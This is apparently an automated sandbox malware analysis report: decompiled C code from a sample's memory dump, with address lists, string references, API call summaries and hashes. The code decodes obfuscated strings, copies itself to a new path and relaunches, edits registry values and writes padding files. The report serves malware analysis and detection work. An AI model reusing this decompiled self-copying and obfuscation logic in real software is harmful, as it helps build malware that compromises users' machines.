				_v56 = 0x91;
				_t180 = 0;
				do {
					 *(_t269 + _t180 + 0x5c) =  *(_t269 + _t180 + 0x5c) ^  *(_t269 + _t180 + 0x2c);
					_t180 = _t180 + 1;
				} while (_t180 < 0x1d);
				_t181 =  *0x431f34; // 0x32
				_t232 =  *0x431f38; // 0x2d2c
				 *0x431f34 = _t181 + 0x32;
				_v84 = 0x2f;
				_v83 = 0x3f;
				_v82 = 0xb5;
				_v81 = 0xfe;
				_v80 = 0xf6;
				_v79 = 0x46;
				_v78 = 0xde;
				_v77 = 0xbf;
				_v76 = 0xa3;
				_v75 = 0x8b;
				_v74 = 0xe9;
				_v73 = 0x55;
				_v72 = 0x65;
				_v71 = 0xc3;
				_v70 = 0xad;
				_v100 = 0x14;
				_v99 = 0x36;
				_v98 = 0xbd;
				_v97 = 0x74;
				_v96 = 0x6f;
				_v95 = 0x28;
				_v94 = 0x96;
				_v93 = 0x97;
				_v92 = 0xc2;
				_v91 = 0xe7;
				_v90 = 0x8a;
				_v89 = 0x14;
				_v88 = 0xa;
				_v87 = 0xab;
				_v86 = 0x53;
				_t183 = 0;
				do {
					 *((intOrPtr*)(_t269 + _t183 + 0x2c)) =  *((intOrPtr*)(_t269 + _t183 + 0x2c)) +  *((intOrPtr*)(_t269 + _t183 + 0x1c));
					 *((intOrPtr*)(_t269 + _t183 + 0x2d)) =  *((intOrPtr*)(_t269 + _t183 + 0x2d)) +  *((intOrPtr*)(_t269 + _t183 + 0x1d));
					 *((intOrPtr*)(_t269 + _t183 + 0x2e)) =  *((intOrPtr*)(_t269 + _t183 + 0x2e)) +  *((intOrPtr*)(_t269 + _t183 + 0x1e));
					 *((intOrPtr*)(_t269 + _t183 + 0x2f)) =  *((intOrPtr*)(_t269 + _t183 + 0x2f)) +  *((intOrPtr*)(_t269 + _t183 + 0x1f));
					 *((intOrPtr*)(_t269 + _t183 + 0x30)) =  *((intOrPtr*)(_t269 + _t183 + 0x30)) +  *((intOrPtr*)(_t269 + _t183 + 0x20));
					_t183 = _t183 + 5;
					_t232 = _t232 + 0x221;
				} while (_t183 < 0xf);
				_v40 = 0xd;
				_v52 = 0xd;
				 *0x431f38 = _t232;
				_v44 = 0xc4;
				_v43 = 0xd4;
				_v42 = 0x79;
				_v41 = 0xbe;
				_v39 = 0xdb;
				_v51 = 0x7b;
				_v50 = 8;
				_v49 = 0x65;
				_v48 = 0xa;
				_v47 = 0x64;
				_v56 = E0041E250(6,  &_v52,  &_v44);
				_t188 =  *0x431f38; // 0x2d2c
				_v104 = 0x41;
				_v103 = 0x63;
				_v102 = 0x74;
				_v101 = 0x69;
				_v100 = 0x76;
				_v99 = 0x65;
				_v98 = 0x5a;
				_v97 = 0x41;
				_v96 = 0;
				 *0x431f38 = _t188 + 0x3d5;
				_v108 = 0xff;
				_v112 = 0;
				_t264 = HeapAlloc(GetProcessHeap(), 8, 0xff);
				_t228 = 0x3d; // executed
				_t200 = RegOpenKeyExA(0x80000002,  &_v40, 0, 1,  &_v116); // executed
				if(_t200 != 0) {
					 *((intOrPtr*)(_t266 + 0x14)) = GetLastError();
				}
				if(RegQueryValueExA(_v112,  &_v84, 0,  &_v108, _t264,  &_v104) == 0) {
					_t204 = E00425A4D(_t228, _t264, _t266, _t264, 0x42e310);
					_t270 =  &(_t269[2]);
					if(_t204 != 0) {
						_t221 = E004259C0(_t204);
						_t270 =  &(_t270[1]);
						 *((intOrPtr*)(_t266 + 4)) = _t221;
					}
					_t205 = E00425A4D(_t228, _t264, _t266, 0, 0x42e310);
					_t271 =  &(_t270[2]);
					if(_t205 != 0) {
						_t220 = E004259C0(_t205);
						_t271 =  &(_t271[1]);
						 *((intOrPtr*)(_t266 + 8)) = _t220;
					}
					if(E00425A4D(_t228, _t264, _t266, 0, 0x42e310) != 0) {
						 *((intOrPtr*)(_t266 + 0xc)) = E004259C0(_t206);
					}
					_t228 = 0;
					 *((intOrPtr*)(_t266 + 0x10)) = 0x14;
					 *(_t266 + 0x18) = 1;
				} else {
					 *((intOrPtr*)(_t266 + 0x14)) = GetLastError();
				}
				_t166 = _t266 + 0x14; // 0x431cac
				 *((intOrPtr*)(_t266 + 0x1c)) = E0041F020(_v52, _t166);
				 *((intOrPtr*)(_t266 + 0x20)) = E0041F100(_t266,  &_v108, _t166);
				_t244 =  *0x431f2c; // 0x0
				 *0x431f2c = _t244 * 0x3b11;
				 *0x431f38 = (_t228 * 0x00000038 & _t228 & 0x00000050) *  *0x431f38 +  *0x431f30 | 0x0000005b;
				HeapFree(GetProcessHeap(), 0, _t264);
				RegCloseKey(_v128);
				return E00424873(0, _v20);
			}

0x0041f8e0
0x0041f8e3
0x0041f8e8
0x0041f8ef
0x0041f8f3
0x0041f8fb
0x0041f8ff
0x0041f905
0x0041f90d
0x0041f911
0x0041f916
0x0041f91b
0x0041f920
0x0041f925
0x0041f92a
0x0041f92f
0x0041f934
0x0041f939
0x0041f93e
0x0041f943
0x0041f948
0x0041f94d
0x0041f952
0x0041f957
0x0041f95c
0x0041f961
0x0041f965
0x0041f96a
0x0041f96f
0x0041f974
0x0041f979
0x0041f97e
0x0041f983
0x0041f988
0x0041f98c
0x0041f990
0x0041f995
0x0041f99a
0x0041f99f
0x0041f9a4
0x0041f9a9
0x0041f9ae
0x0041f9b3
0x0041f9b8
0x0041f9bd
0x0041f9c2
0x0041f9c7
0x0041f9cc
0x0041f9d0
0x0041f9d5
0x0041f9da
0x0041f9df
0x0041f9e4
0x0041f9e9
0x0041f9ee
0x0041f9f2
0x0041f9f7
0x0041f9fc
0x0041fa01
0x0041fa06
0x0041fa0b
0x0041fa10
0x0041fa14
0x0041fa16
0x0041fa20
0x0041fa24
0x0041fa25
0x0041fa2a
0x0041fa2f
0x0041fa3b
0x0041fa40
0x0041fa45
0x0041fa4a
0x0041fa4f
0x0041fa54
0x0041fa59
0x0041fa5e
0x0041fa63
0x0041fa68
0x0041fa6d
0x0041fa72
0x0041fa77
0x0041fa7c
0x0041fa80
0x0041fa85
0x0041fa8a
0x0041fa8f
0x0041fa94
0x0041fa99
0x0041fa9e
0x0041faa3
0x0041faa8
0x0041faad
0x0041fab2
0x0041fab7
0x0041fabc
0x0041fac1
0x0041fac6
0x0041facb
0x0041fad0
0x0041fad5
0x0041fae0
0x0041fae4
0x0041faec
0x0041faf4
0x0041fafc
0x0041fb04
0x0041fb18
0x0041fb1b
0x0041fb1f
0x0041fb26
0x0041fb2a
0x0041fb3c
0x0041fb43
0x0041fb48
0x0041fb4d
0x0041fb52
0x0041fb57
0x0041fb5c
0x0041fb61
0x0041fb66
0x0041fb6a
0x0041fb6f
0x0041fb79
0x0041fb7d
0x0041fbb0
0x0041fbb4
0x0041fbb9
0x0041fbbe
0x0041fbc3
0x0041fbc8
0x0041fbcc
0x0041fbd1
0x0041fbd5
0x0041fbda
0x0041fbe0
0x0041fbe8
0x0041fc10
0x0041fc12
0x0041fc14
0x0041fc22
0x0041fc26
0x0041fc26
0x0041fc48
0x0041fc57
0x0041fc5c
0x0041fc61
0x0041fc64
0x0041fc69
0x0041fc6c
0x0041fc6c
0x0041fc76
0x0041fc7b
0x0041fc80
0x0041fc83
0x0041fc88
0x0041fc8b
0x0041fc8b
0x0041fc9f
0x0041fcaa
0x0041fcaa
0x0041fcad
0x0041fcaf
0x0041fcb6
0x0041fc4a
0x0041fc4c
0x0041fc4c
0x0041fcc1
0x0041fcd5
0x0041fcdd
0x0041fce6
0x0041fd05
0x0041fd17
0x0041fd25
0x0041fd30
0x0041fd48

Strings

U, xrefs: 0041FA77
v, xrefs: 0041FBC3
6, xrefs: 0041FA8F
o, xrefs: 0041FA9E
2, xrefs: 0041F96F
', xrefs: 0041F934
h, xrefs: 0041F9B8
0, xrefs: 0041F952
G@,, xrefs: 0041F8E3
?, xrefs: 0041FA45
d, xrefs: 0041FB6F
F, xrefs: 0041FA59
{, xrefs: 0041F916
t, xrefs: 0041FA99
y, xrefs: 0041FB4D
Z, xrefs: 0041FBCC
/, xrefs: 0041FA40
:, xrefs: 0041F91B
(, xrefs: 0041FAA3
b, xrefs: 0041F9B3
c, xrefs: 0041F9C7
{, xrefs: 0041FB5C
c, xrefs: 0041FBB4
", xrefs: 0041F9E4
i, xrefs: 0041FBBE
4, xrefs: 0041F939
t, xrefs: 0041FBB9
z, xrefs: 0041F948
c, xrefs: 0041F97E
y, xrefs: 0041F983
Y, xrefs: 0041F920
/, xrefs: 0041F9A4
1, xrefs: 0041FA0B

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: "$'$($/$/$0$1$2$4$6$:$?$F$G@,$U$Y$Z$b$c$c$c$d$h$i$o$t$t$v$y$y$z${${
API String ID: 0-2287540479
Opcode ID: b412046be1c6318884bb58681997ee504ed99bbc7bdc58cc31c50f8f500c8cb2
Instruction ID: 11e3b4fdb97899335a1116277c19ae4b67f777c444ac700ec2618231df2b17f2
Opcode Fuzzy Hash: b412046be1c6318884bb58681997ee504ed99bbc7bdc58cc31c50f8f500c8cb2
Instruction Fuzzy Hash: 9AD1492010C7C19ED322DB79984865FBFD45BA6218F485F9DF1E44B3E3D2A9810AC76B

Uniqueness

Uniqueness Score: -1.00%

Function 00415060, Relevance: 61.6, APIs: 10, Strings: 25, Instructions: 301
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 99%

			E00415060(void* __ecx, void* __esi, intOrPtr _a12) {
				intOrPtr _v8;
				char _v532;
				char _v796;
				char _v1060;
				char _v1062;
				char _v1063;
				char _v1064;
				char _v1065;
				char _v1066;
				char _v1067;
				char _v1068;
				char _v1069;
				char _v1070;
				char _v1071;
				char _v1072;
				char _v1073;
				char _v1074;
				char _v1075;
				char _v1076;
				char _v1077;
				char _v1078;
				char _v1079;
				char _v1080;
				char _v1081;
				char _v1082;
				char _v1083;
				char _v1084;
				char _v1085;
				char _v1086;
				char _v1087;
				char _v1088;
				char _v1089;
				char _v1090;
				char _v1091;
				char _v1092;
				char _v1094;
				char _v1095;
				char _v1096;
				char _v1097;
				char _v1098;
				char _v1099;
				char _v1100;
				char _v1101;
				char _v1102;
				char _v1103;
				char _v1104;
				char _v1105;
				char _v1106;
				char _v1107;
				char _v1108;
				char _v1109;
				char _v1110;
				char _v1111;
				char _v1112;
				char _v1114;
				char _v1115;
				char _v1116;
				char _v1117;
				char _v1118;
				char _v1119;
				char _v1120;
				char _v1121;
				char _v1122;
				char _v1123;
				char _v1124;
				char _v1125;
				char _v1126;
				char _v1127;
				char _v1128;
				char _v1129;
				char _v1130;
				char _v1131;
				char _v1132;
				char _v1133;
				char _v1134;
				char _v1135;
				char _v1136;
				char _v1137;
				char _v1138;
				char _v1139;
				char _v1140;
				char _v1141;
				char _v1142;
				char _v1143;
				char _v1144;
				struct _STARTUPINFOA _v1220;
				struct _PROCESS_INFORMATION _v1236;
				struct HWND__* _v1240;
				void* __ebx;
				void* __edi;
				void* __ebp;
				intOrPtr _t170;
				void* _t172;
				void* _t176;
				void* _t177;
				void* _t179;
				int _t182;
				void* _t186;
				void* _t188;
				void* _t200;
				int _t202;
				char _t221;
				void* _t280;
				void* _t283;
				void* _t284;
				signed int _t285;
				void* _t288;
				void* _t289;
				void* _t290;

				_t283 = __esi;
				_t170 =  *0x4310d8; // 0x2c0d4047
				_v8 = _t170;
				_t221 = 1;
				_v1240 = 0;
				_t172 = E00413AF0( &_v1240);
				_t288 = (_t285 & 0xfffffff8) - 0x4d8 + 4;
				if(_t172 == 0) {
					L20:
					__eflags = 0;
					return E00424873(0, _v8);
				} else {
					_t238 =  &_v796;
					GetModuleFileNameA(0,  &_v796, 0x104);
					_t276 = _a12;
					_t176 = E00425500(_a12, 0x64);
					_t289 = _t288 + 8;
					if(_t176 != 0) {
						_t221 = 0;
					}
					_t177 = E00425500(_t276, 0x73);
					_t290 = _t289 + 8;
					if(_t177 == 0) {
						_v1094 = 0xc9;
						_v1114 = 0xc9;
						_v1112 = 0x7b;
						_v1111 = 0x3a;
						_v1110 = 0x59;
						_v1109 = 0xfe;
						_v1108 = 0x78;
						_v1107 = 0xb0;
						_v1106 = 0xb1;
						_v1105 = 0x27;
						_v1104 = 0x34;
						_v1103 = 0xf8;
						_v1102 = 0x7f;
						_v1101 = 0x7a;
						_v1100 = 6;
						_v1099 = 0x30;
						_v1098 = 0xcb;
						_v1097 = 0xef;
						_v1096 = 0x87;
						_v1095 = 0xae;
						_v1132 = 0x5e;
						_v1131 = 0x6d;
						_v1130 = 0x10;
						_v1129 = 0xb0;
						_v1128 = 0x3c;
						_v1127 = 0xf9;
						_v1126 = 0xe3;
						_v1125 = 2;
						_v1124 = 0x68;
						_v1123 = 0x8c;
						_v1122 = 0xc;
						_v1121 = 0x1f;
						_v1120 = 0x74;
						_v1119 = 0x46;
						_v1118 = 0xe5;
						_v1117 = 0x8a;
						_v1116 = 0xff;
						_v1115 = 0xcb;
						_t179 = 0;
						__eflags = 0;
						do {
							_t224 =  *(_t290 + _t179 + 0x8c) ^  *(_t290 + _t179 + 0x78);
							 *(_t290 + _t179 + 0x8c) =  *(_t290 + _t179 + 0x8c) ^  *(_t290 + _t179 + 0x78);
							_t179 = _t179 + 1;
							__eflags = _t179 - 0x13;
						} while (_t179 < 0x13);
						ExpandEnvironmentStringsA( &_v1112,  &_v1060, 0x104);
						_t182 = CopyFileA( &_v796,  &_v1060, 0); // executed
						__eflags = _t182;
						if(_t182 != 0) {
							memset( &_v532, 0, 0x82 << 2);
							lstrcpyA( &_v532,  &_v1060);
							lstrcatA( &_v532, " s");
							_t280 =  &_v1220;
							_t200 = memset(_t280, 0, 0x11 << 2);
							_t290 = _t290 + 0x18;
							_t276 = _t280 + 0x11;
							_v1220.wShowWindow = _t200;
							_v1220.cb = 0x44;
							_t202 = CreateProcessA(0,  &_v532, 0, 0, 0, 0, 0, 0,  &_v1220,  &_v1236); // executed
							__eflags = _t202;
							if(_t202 != 0) {
								_t276 = CloseHandle;
								CloseHandle(_v1236);
								CloseHandle(_v1236.hThread);
							}
						}
						__eflags = E004122F0(_t283) - 1;
						if(__eflags == 0) {
							_v1084 = 0xd;
							_v1077 = 0xd;
							_v1085 = 0xb;
							_v1080 = 0xb;
							_v1079 = 0xb;
							_v1070 = 0xb;
							_v1092 = 0x2d;
							_v1091 = 8;
							_v1090 = 0x1c;
							_v1089 = 0x19;
							_v1088 = 0xc;
							_v1087 = 0x1d;
							_v1086 = 0x58;
							_v1083 = 0x1b;
							_v1082 = 0x1b;
							_v1081 = 0x1d;
							_v1078 = 0x1e;
							_v1076 = 0x14;
							_v1075 = 0x14;
							_v1074 = 1;
							_v1073 = 0x58;
							_v1072 = 0x11;
							_v1071 = 0x16;
							_v1069 = 0xc;
							_v1068 = 0x19;
							_v1067 = 0x14;
							_v1066 = 0x14;
							_v1065 = 0x1d;
							_v1064 = 0x1c;
							_v1063 = 0x56;
							_v1062 = 0x78;
							_t186 = 0;
							__eflags = 0;
							do {
								 *(_t290 + _t186 + 0xa0) =  *(_t290 + _t186 + 0xa0) ^ 0x00000078;
								_t186 = _t186 + 1;
								__eflags = _t186 - 0x1f;
							} while (_t186 < 0x1f);
							Sleep(0x7d0);
							_v1133 = 0xce;
							_v1121 = 0xce;
							_v1144 = 0x90;
							_v1143 = 0x73;
							_v1142 = 0xc6;
							_v1141 = 0x20;
							_v1140 = 0xf3;
							_v1139 = 0x9b;
							_v1138 = 0xbd;
							_v1137 = 0xb5;
							_v1136 = 0x7d;
							_v1135 = 0x87;
							_v1134 = 0x31;
							_v1132 = 0xd9;
							_v1131 = 0x1d;
							_v1130 = 0xa0;
							_v1129 = 0x4f;
							_v1128 = 0x81;
							_v1127 = 0xf6;
							_v1126 = 0xdc;
							_v1125 = 0xc1;
							_v1124 = 0x14;
							_v1123 = 0xe8;
							_v1122 = 0x5f;
							_t188 = 0;
							__eflags = 0;
							do {
								 *(_t290 + _t188 + 0x6c) =  *(_t290 + _t188 + 0x6c) ^  *(_t290 + _t188 + 0x78);
								 *(_t290 + _t188 + 0x6d) =  *(_t290 + _t188 + 0x6d) ^  *(_t290 + _t188 + 0x79);
								 *(_t290 + _t188 + 0x6f) =  *(_t290 + _t188 + 0x6f) ^  *(_t290 + _t188 + 0x7b);
								 *(_t290 + _t188 + 0x6e) =  *(_t290 + _t188 + 0x6e) ^  *(_t290 + _t188 + 0x7a);
								 *(_t290 + _t188 + 0x70) =  *(_t290 + _t188 + 0x70) ^  *(_t290 + _t188 + 0x7c);
								 *(_t290 + _t188 + 0x71) =  *(_t290 + _t188 + 0x71) ^  *(_t290 + _t188 + 0x7d);
								_t188 = _t188 + 6;
								__eflags = _t188 - 0xc;
							} while (_t188 < 0xc);
							MessageBoxA(0,  &_v1092,  &_v1144, 0x1040);
							goto L20;
						} else {
							E00412620(_t224, _t276, _t283, _t284, __eflags);
							__eflags = 0;
							return E00424873(0, _v8);
						}
					} else {
						if(E004129C0(_t283) != 0) {
							goto L20;
						} else {
							if(E0041C660() != 0) {
								E00413AD0(_t238);
								E00412FC0(_t221, _t238, _t283, __eflags);
								E004120C0(_t221, _t283);
								_push(_v1240);
								E00413DD0(_t221, _t276, _t283, _t284, __eflags, _t221);
								E00412B30(_t283);
								E00413280(_t221, _t276, _t283, _t284);
								E0041EF50(0x431c98);
								E00422EF0();
								__eflags = 0;
								return E00424873(0, _v8);
							} else {
								return E00424873(1, _v8);
							}
						}
					}
				}
			}

0x00415060
0x0041506c
0x00415072
0x0041507f
0x00415084
0x0041508c
0x00415091
0x00415096
0x00415586
0x0041558d
0x00415599
0x0041509c
0x004150a1
0x004150ab
0x004150b1
0x004150b7
0x004150bc
0x004150c1
0x004150c3
0x004150c3
0x004150c8
0x004150cd
0x004150d2
0x00415155
0x0041515c
0x00415163
0x0041516b
0x00415173
0x0041517b
0x00415183
0x0041518b
0x00415192
0x0041519a
0x004151a2
0x004151aa
0x004151b2
0x004151ba
0x004151c2
0x004151ca
0x004151d2
0x004151d9
0x004151e1
0x004151e9
0x004151f1
0x004151f6
0x004151fb
0x00415200
0x00415204
0x00415209
0x0041520e
0x00415213
0x00415218
0x00415220
0x00415228
0x00415230
0x00415238
0x00415240
0x00415248
0x00415250
0x00415258
0x00415260
0x00415267
0x00415267
0x00415270
0x0041527b
0x0041527d
0x00415284
0x00415285
0x00415285
0x0041529f
0x004152b7
0x004152bd
0x004152bf
0x004152d3
0x004152e5
0x004152f8
0x00415305
0x00415309
0x00415309
0x00415309
0x0041530b
0x00415330
0x00415338
0x0041533e
0x00415340
0x00415346
0x0041534d
0x00415354
0x00415354
0x00415340
0x0041535b
0x0041535c
0x0041537f
0x00415388
0x00415391
0x00415398
0x0041539f
0x004153a6
0x004153ad
0x004153b5
0x004153bd
0x004153c5
0x004153cd
0x004153d5
0x004153dd
0x004153e4
0x004153eb
0x004153f2
0x004153fa
0x00415402
0x00415409
0x00415410
0x00415418
0x0041541f
0x00415427
0x0041542f
0x00415437
0x0041543f
0x00415446
0x0041544d
0x00415455
0x0041545d
0x00415465
0x0041546d
0x0041546d
0x00415470
0x00415470
0x00415478
0x00415479
0x00415479
0x00415483
0x0041548b
0x0041548f
0x00415496
0x0041549b
0x004154a0
0x004154a5
0x004154aa
0x004154af
0x004154b4
0x004154b9
0x004154be
0x004154c3
0x004154c8
0x004154cd
0x004154d2
0x004154d7
0x004154dc
0x004154e1
0x004154e6
0x004154eb
0x004154f0
0x004154f5
0x004154fc
0x00415504
0x0041550c
0x0041550c
0x00415510
0x00415528
0x00415530
0x00415544
0x0041554e
0x00415556
0x00415560
0x00415564
0x00415567
0x00415567
0x00415580
0x00000000
0x0041535e
0x0041535e
0x00415363
0x00415376
0x00415376
0x004150d4
0x004150db
0x00000000
0x004150e1
0x004150e8
0x00415103
0x00415108
0x0041510d
0x00415116
0x00415118
0x00415120
0x00415125
0x0041512f
0x00415134
0x00415139
0x0041514c
0x004150ea
0x00415100
0x00415100
0x004150e8
0x004150db
0x004150d2

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004150AB

Part of subcall function 00413AD0: SetEvent.KERNEL32(00000104,?,00000000,00000001,00415108), ref: 0041EF12
Part of subcall function 00413AD0: SetEvent.KERNEL32(00000110), ref: 0041EF20
Part of subcall function 00413AD0: SetEvent.KERNEL32(00000114), ref: 0041EF2B
Part of subcall function 00413AD0: SetEvent.KERNEL32(0000010C), ref: 0041EF36
Part of subcall function 00413AD0: SetEvent.KERNEL32(00000108), ref: 0041EF41

Part of subcall function 004120C0: ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000001), ref: 004121E0
Part of subcall function 004120C0: GetFileAttributesA.KERNEL32(?), ref: 004121FF

Part of subcall function 00413DD0: Sleep.KERNEL32(0002BF20,00000000), ref: 00413E62

Part of subcall function 00412B30: ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 00412C26
Part of subcall function 00412B30: GetLocalTime.KERNEL32(0000003C), ref: 00412C31
Part of subcall function 00412B30: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00412C4B
Part of subcall function 00412B30: WriteFile.KERNEL32(00000000,000000E6,00000010,0000003C,00000000), ref: 00412C62
Part of subcall function 00412B30: CloseHandle.KERNEL32(00000000), ref: 00412C69

Part of subcall function 00413280: RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00413420
Part of subcall function 00413280: RegDeleteValueA.ADVAPI32(?,?), ref: 00413451
Part of subcall function 00413280: RegCloseKey.ADVAPI32(?), ref: 0041345C
Part of subcall function 00413280: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00413472
Part of subcall function 00413280: MoveFileExA.KERNEL32 ref: 0041348A

Part of subcall function 0041EF50: ResetEvent.KERNEL32(00000104,?,00000000,00000001,00415134), ref: 0041EF67
Part of subcall function 0041EF50: ResetEvent.KERNEL32(00000110), ref: 0041EF76
Part of subcall function 0041EF50: ResetEvent.KERNEL32(00000114), ref: 0041EF81
Part of subcall function 0041EF50: ResetEvent.KERNEL32(0000010C), ref: 0041EF8C
Part of subcall function 0041EF50: ResetEvent.KERNEL32(00000108), ref: 0041EF97

Strings

1, xrefs: 004154C8
V, xrefs: 0041545D
F, xrefs: 00415240
^, xrefs: 004151F1
x, xrefs: 00415465
G@,, xrefs: 0041506C
<, xrefs: 00415204
O, xrefs: 004154DC
{, xrefs: 00415163
', xrefs: 0041519A
m, xrefs: 004151F6
z, xrefs: 004151BA
x, xrefs: 00415183
:, xrefs: 0041516B
h, xrefs: 00415218
_, xrefs: 00415504
s, xrefs: 0041549B
x, xrefs: 00415470
Y, xrefs: 00415173
D, xrefs: 00415330
4, xrefs: 004151A2
}, xrefs: 004154BE
0, xrefs: 004151CA
, xrefs: 004154A5
t, xrefs: 00415238

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Event$File$Reset$CloseEnvironmentExpandModuleNameStrings$AttributesCreateDeleteHandleLocalMoveOpenSleepTimeValueWrite
String ID: $'$0$1$4$:$<$D$F$G@,$O$V$Y$^$_$h$m$s$t$x$x$x$z${$}
API String ID: 2834431147-2378963460
Opcode ID: 1f6e772e3f605208dfee7bf4d0ea2b6ea15f5f842e9da9fe72f42dc6b594ce41
Instruction ID: 303c94e765967613df6afeb7444a04bb2175ba7380c9a58d85960b8bb2ad4b0c
Opcode Fuzzy Hash: 1f6e772e3f605208dfee7bf4d0ea2b6ea15f5f842e9da9fe72f42dc6b594ce41
Instruction Fuzzy Hash: 8AE1482120C7C089D33297399848BDBBFD55FE6318F584A9EE1E88B2D3C6B58149C767

Uniqueness

Uniqueness Score: -1.00%

Function 00412620, Relevance: 56.2, APIs: 15, Strings: 17, Instructions: 215
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00412620(void* __ebx, void* __edi, void* __esi, void* __ebp, void* __eflags) {
				intOrPtr _v4;
				char _v524;
				char _v784;
				char _v1044;
				char _v1047;
				char _v1048;
				char _v1049;
				char _v1050;
				char _v1051;
				char _v1052;
				char _v1053;
				char _v1054;
				char _v1055;
				char _v1056;
				char _v1057;
				char _v1058;
				char _v1059;
				char _v1060;
				char _v1061;
				char _v1062;
				char _v1063;
				char _v1064;
				char _v1065;
				char _v1066;
				char _v1067;
				char _v1068;
				char _v1069;
				char _v1070;
				char _v1071;
				char _v1072;
				char _v1073;
				char _v1074;
				char _v1075;
				char _v1076;
				char _v1079;
				char _v1080;
				char _v1081;
				char _v1082;
				char _v1083;
				char _v1084;
				char _v1085;
				char _v1086;
				char _v1087;
				char _v1088;
				char _v1089;
				char _v1090;
				char _v1091;
				char _v1092;
				char _v1093;
				char _v1094;
				char _v1095;
				char _v1096;
				char _v1097;
				char _v1098;
				char _v1099;
				char _v1100;
				char _v1101;
				char _v1102;
				char _v1103;
				char _v1104;
				char _v1105;
				char _v1106;
				char _v1107;
				char _v1108;
				struct _STARTUPINFOA _v1176;
				struct _PROCESS_INFORMATION _v1192;
				long _v1196;
				intOrPtr _t127;
				signed int _t131;
				void* _t137;
				void* _t151;
				signed int _t157;
				int _t161;
				void* _t162;
				void* _t203;
				long _t208;
				long* _t212;

				_t212 =  &_v1196;
				_t127 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t127;
				GetCurrentDirectoryA(0x104,  &_v784);
				GetTempFileNameA( &_v784, 0x42e292, 0,  &_v1044); // executed
				_t131 = E0040C1D0( &_v784);
				_t185 = _t131 % 0xc000;
				_t208 = _t131 % 0xc000 + 0xc000;
				_t203 = HeapAlloc(GetProcessHeap(), 0, _t208);
				if(_t203 != 0) {
					_t161 = 0;
					if(_t208 > 0) {
						do {
							_t157 = E0040C1D0(_t185);
							_t185 = _t157 % 0x64 + 0x1e;
							 *(_t161 + _t203) = _t157 % 0x64 + 0x1e;
							_t161 = _t161 + 1;
						} while (_t161 < _t208);
					}
					_t151 = CreateFileA( &_v1044, 0x40000000, 0, 0, 2, 0, 0); // executed
					_t162 = _t151;
					WriteFile(_t162, _t203, _t208,  &_v1196, 0); // executed
					CloseHandle(_t162);
					HeapFree(GetProcessHeap(), 0, _t203);
				}
				_v1091 = 0xb0;
				_v1061 = 0xb0;
				_v1059 = 0xac;
				_v1057 = 0xac;
				_v1108 = 0xc6;
				_v1107 = 0xc;
				_v1106 = 0x9a;
				_v1105 = 0x34;
				_v1104 = 0x27;
				_v1103 = 0x9b;
				_v1102 = 0xf6;
				_v1101 = 0x16;
				_v1100 = 0x4f;
				_v1099 = 0x95;
				_v1098 = 1;
				_v1097 = 0x88;
				_v1096 = 0xcc;
				_v1095 = 0xe;
				_v1094 = 0x92;
				_v1093 = 0x83;
				_v1092 = 0xe9;
				_v1090 = 0xc0;
				_v1089 = 0xc3;
				_v1088 = 0xbd;
				_v1087 = 0x29;
				_v1086 = 0xe7;
				_v1085 = 0xbc;
				_v1084 = 0x85;
				_v1083 = 0xab;
				_v1082 = 0xfb;
				_v1081 = 0x41;
				_v1080 = 0x91;
				_v1079 = 0xb2;
				_v1076 = 0x5f;
				_v1075 = 0x4b;
				_v1074 = 0xaf;
				_v1073 = 0x1a;
				_v1072 = 0x1d;
				_v1071 = 0xae;
				_v1070 = 0x5c;
				_v1069 = 0xf;
				_v1068 = 0xd;
				_v1067 = 0xbe;
				_v1066 = 0x78;
				_v1065 = 0xeb;
				_v1064 = 0xa8;
				_v1063 = 0x57;
				_v1062 = 0xdb;
				_v1060 = 0x49;
				_v1058 = 0xae;
				_v1056 = 0xb7;
				_v1055 = 0x3c;
				_v1054 = 0x89;
				_v1053 = 0xa5;
				_v1052 = 0xdf;
				_v1051 = 0x83;
				_v1050 = 0x6a;
				_v1049 = 0x37;
				_v1048 = 0xd4;
				_v1047 = 0x4e;
				_t137 = 0;
				do {
					 *((char*)(_t212 + _t137 + 0x68)) =  *((intOrPtr*)(_t212 + _t137 + 0x68)) +  *((intOrPtr*)(_t212 + _t137 + 0x88));
					 *((char*)(_t212 + _t137 + 0x69)) =  *((intOrPtr*)(_t212 + _t137 + 0x69)) +  *((intOrPtr*)(_t212 + _t137 + 0x89));
					 *((char*)(_t212 + _t137 + 0x6a)) =  *((intOrPtr*)(_t212 + _t137 + 0x6a)) +  *((intOrPtr*)(_t212 + _t137 + 0x8a));
					 *((char*)(_t212 + _t137 + 0x6b)) =  *((intOrPtr*)(_t212 + _t137 + 0x6b)) +  *((intOrPtr*)(_t212 + _t137 + 0x8b));
					 *((char*)(_t212 + _t137 + 0x6c)) =  *((intOrPtr*)(_t212 + _t137 + 0x6c)) +  *((intOrPtr*)(_t212 + _t137 + 0x8c));
					 *((char*)(_t212 + _t137 + 0x6d)) =  *((intOrPtr*)(_t212 + _t137 + 0x6d)) +  *((intOrPtr*)(_t212 + _t137 + 0x8d));
					_t137 = _t137 + 6;
